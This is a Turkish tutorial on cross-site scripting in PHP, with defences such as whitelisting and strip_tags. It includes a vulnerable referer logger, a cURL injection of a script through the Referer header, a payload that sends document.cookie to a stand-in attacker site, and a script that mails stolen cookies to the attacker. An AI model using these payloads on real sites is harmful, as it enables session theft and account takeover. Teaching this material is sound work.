Cross Site Scripting
Cross site scripting(XSS) saldırıları kullanıcıya asıl gösterilmesi gereken verinin değiştirilerek yollamasına sebebiyet veren bir unsurdur.
Web sayfaları yıllar geçtikçe dinamikleşti, bu süreç içinde web yazılımları dışardan veri almak zorunda kaldı.Gelen verilerin kontrol edilmemesi, ve eksik kontrol edilmesi sonucu şu anki xss çılgınlığı ortaya çıktı.
Bu veri, herhangi bir mesaj tahtasının formundan gelen veri, URL ustunden gelen queryData veya kullanıcının cookie'sinden gelen veri olabilir.Kısaca kullanıcının değiştirip yollayabileceği tüm veriler.
Örnek olarak gelen son referer bilgilerini loglayıp bunu sayfada gösteren örnek bir uygulamayı ele alalım.
Kod:
<?
$referal = $_SERVER["HTTP_REFERER"] . "&";
$ac = fopen("referers.txt", "a+");
fwrite($ac, $referal);
fclose($ac);
// refererleri oku
$referals = file_get_contents("referers.txt");
$ayir = explode("&", $referals);
foreach ($ayir as $ref) {
echo $ref."<br />";
}
?>
Yukarıdaki uygulama en başta zararsız olarak görünebilir.Fakar HTTP_REFERER bilgisi birçok makalede yazıldığı, bir çok uygulamada çeşitli güvenlik kontrollerinde kullanılmasına rağmen güvenilebilinir bir veri değildir.
Zira saldırganın biri PHP'nin cURL kutuphanesi yardımıyla aşağıdaki gibi bir kod yazabilir.
Kod:
<?
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://localhost/xss/test.php");
curl_setopt($ch,CURLOPT_REFERER,"<script>alert(document.cookie)</script>");
curl_exec ($ch);
curl_close ($ch);
?>
Yukarıdaki kod çalıştırıldığında varsa cookie bilgisi ekrana basılabilir.Bu sadece proof of concept tarzında bir örnek.Ekrana cookie bastırmak dışında cookie başka sunucuya yollanabilirde..
Örneğin REFERER bilgisi şu şekilde de yollanabilir.
Kod:
<script>document.location='http://www.saldirganin_sitesi.com/logla.php?'+document.cookie</script>
Örnek logla.php içeriği :
Kod:
<?
mail("saldirgan@saldirgan.com", "Yeni cookie bilgisi", "$_SERVER[QUERY_STRING]);
?>
Bu tek satırlık betikle yeni cookie bilgisi geldikçe saldırganın mail adresine yollanacaktır.
Bu kod içeri sokulduğunda siteye giren kullanıcının cookie ve (varsa) oturum bilgileri uzaktaki sunucudaki logla.php adresine escape edilir.Daha sonra loglanan cookie ile saldırgan giriş yapabilir.
Yukarıdaki örnek oldukça basit, daha zeki bir saldırgan ziyaretçi farkında olmadan bile cookie'yi arkaplanda yollayabilir.Bu iş görünmez img ve iframe etiketleri yeterli.
Saldırı türleri, etkileri
Saldırganlar xss saldırılarıyla sadece oturum,çerez bilgileri çalmakla kalmayabilirler.Duruma göre aslında olmayan bir sayfayı görebilirsiniz.Genişçe bir iframe içinde yeniden oturum bilgilerinizi girmenizi isteyen bir sayfa, veya aslında olmaması gereken yazılar görebilirsiniz.Bu yönüyle XSS phishing yöntemi olarak ta kullanılabilmekte.Herhangi bir bankanın sitesinde "profilinizi güncelleyin ama önce şifrenizi girin" tarzı sahte sayfalar görmek gibi.
Buna benzer bir örneği de ceviz.net forumlarında 2005'in nisan ayında görmüştük :) (http://forum.ceviz.net/showthread.php?t=18634)
Bunun dışında XSS saldırganlar tarafından başka siteler saldırı unsuru olarakta kullanabilinir.Çok ziyaretcisi olan bir site de gizli verilen ve saldırılacak başka bir hedefe yollanan HTTP istekleri diğer hedef için sorun oluşturabilir.Zira anlık 1000+ kişinin girdiği bir siteden başka siteye yollanan aşağıdaki gibi bir kodun diğer sitenin mySQL sunucusu üzerindeki etkilerini düşünün.
Kod:
<img src="http://www.uzaktaki_sunucu.com/detayli_arama.php?kosul=soyle&kosul2=boyle&anahtar_kelime=boyle" style="display:none">
Kısaca XSS saldırılarıyla yapabilecekler JS ve HTML ile yapılabileceklerle sınırlı.
İşin güvenlik kısmı, Nasıl önlem alacağız ?
Güvenlik konusunda temel ilke olan " Filter the input, escape the output " ilkesi geçerli.Kullanıcının bir şekilde değiştirebilip yollayabileceği her türlü veriyi filtrelemeden, kontrol etmeden ekrana basmayacaksanız.Kontrol etme imkanınız varsa mutlaka beyaz liste yöntemi kullanın.Örnek bir uygulama yapalım;
Başlık bilgisini queryData'dan alıp gösteren bir uygulama yazalım :
baslik.php
Kod:
<?
echo("<title>$_GET[baslik]</title>");
// sayfanın geri kalan kısmi
?>
Başlık kısmı bu şekilde direk ekrana basılırsa yukarıda bahsini ettiğimiz sorunlar ortaya çıkabilir.Beyaz liste yöntemini kullanırsak;
Kod:
<?
$olasi_basliklar = array("index","haberler","baglantilar");
if(in_array($_GET["baslik"],$olasi_basliklar)) {
echo("<title>$_GET[baslik]</title>");
}
else {
die("Olasi saldiri");
}
?>
Olası başlıkları kontrol edip gelen veriyle karşılaştırıyoruz, eğer güvenilirse ekrana öyle basıyoruz.
Beyaz liste her ne kadar en güvenli kontrol yöntemi olsa da kullanım alanı dardır.Örneğin bir foruma ziyaretçilerin yolladığı mesajları bu yöntemle kontrol etmeniz mümkün değildir.
Bu gibi durumlarda yapılması gerekenler filtrelemedir.PHP ile bütünleşik olarak htmlspecialchars, strip_tags() gibi fonksiyonlar gelmektedir.Yazının başında bahsettiğimiz REFERER gösterme uygulamasını güvenli hale $referal değişkenini aşağıdaki gibi değiştirerek getirebilirsiniz.
$referal = strip_tags($_SERVER["HTTP_REFERER"] . "&");
Güvenilmemesi gereken global diziler
Kullanıcıdan gelen veri diyince aklınıza sadece _POST , _GET global dizileri gelmesin.Bunların dışında _COOKIE, _REQUEST, hatta bazı elemanlarıyla _FILES ve _SERVER dizilerine güvenmemeniz gerekebilir.
_SERVER dizisinin bazı elemanları kullanıcı tarafından değiştirilebilir.Özellikle PHP_SELF özelliği şu anda bir çok açık kaynak kodlu uygulamada filtrelenmeden ekrana basılmış durumda, dolayısıyla yapımcılar xss problemleriyle boğuşmakta.
_SERVER dizisinde benim fark ettiğim 3 tane tehlikeli eleman var.
_SERVER["PATH_INFO"]
_SERVER["PATH_TRANSLATED"]
_SERVER["PHP_SELF"]
elemanlarının değerleri x.php/XSS gibi bir istek yapıldığında
_SERVER["PATH_INFO"] = /<XSS>
_SERVER["PATH_TRANSLATED"] = /var/www/domain/<XSS>
_SERVER["PHP_SELF"] = /index.php/<XSS>
haline gelmekte.
Daha fazlası için phpinfo(); çıktısından değişkenleri URL üstünden değiştirip sonucu görebilirsiniz.
Sonuç
XSS önlenilmesi oldukça kolay bir saldırı türü.Altın kural olan kontrol ve filtreleme işlemlerini yaptıktan sonra XSS'den korkmanıza gerek yok.
XSS hakkında kaynaklar
http://www.cgisecurity.com/articles/xss-faq.shtmlhttp://shiflett.org/articles/foiling-cross-site-attackshttp://ha.ckers.org/xss.htmlhttp://webmonkey.wired.com/webmonkey/00/18/index3a.html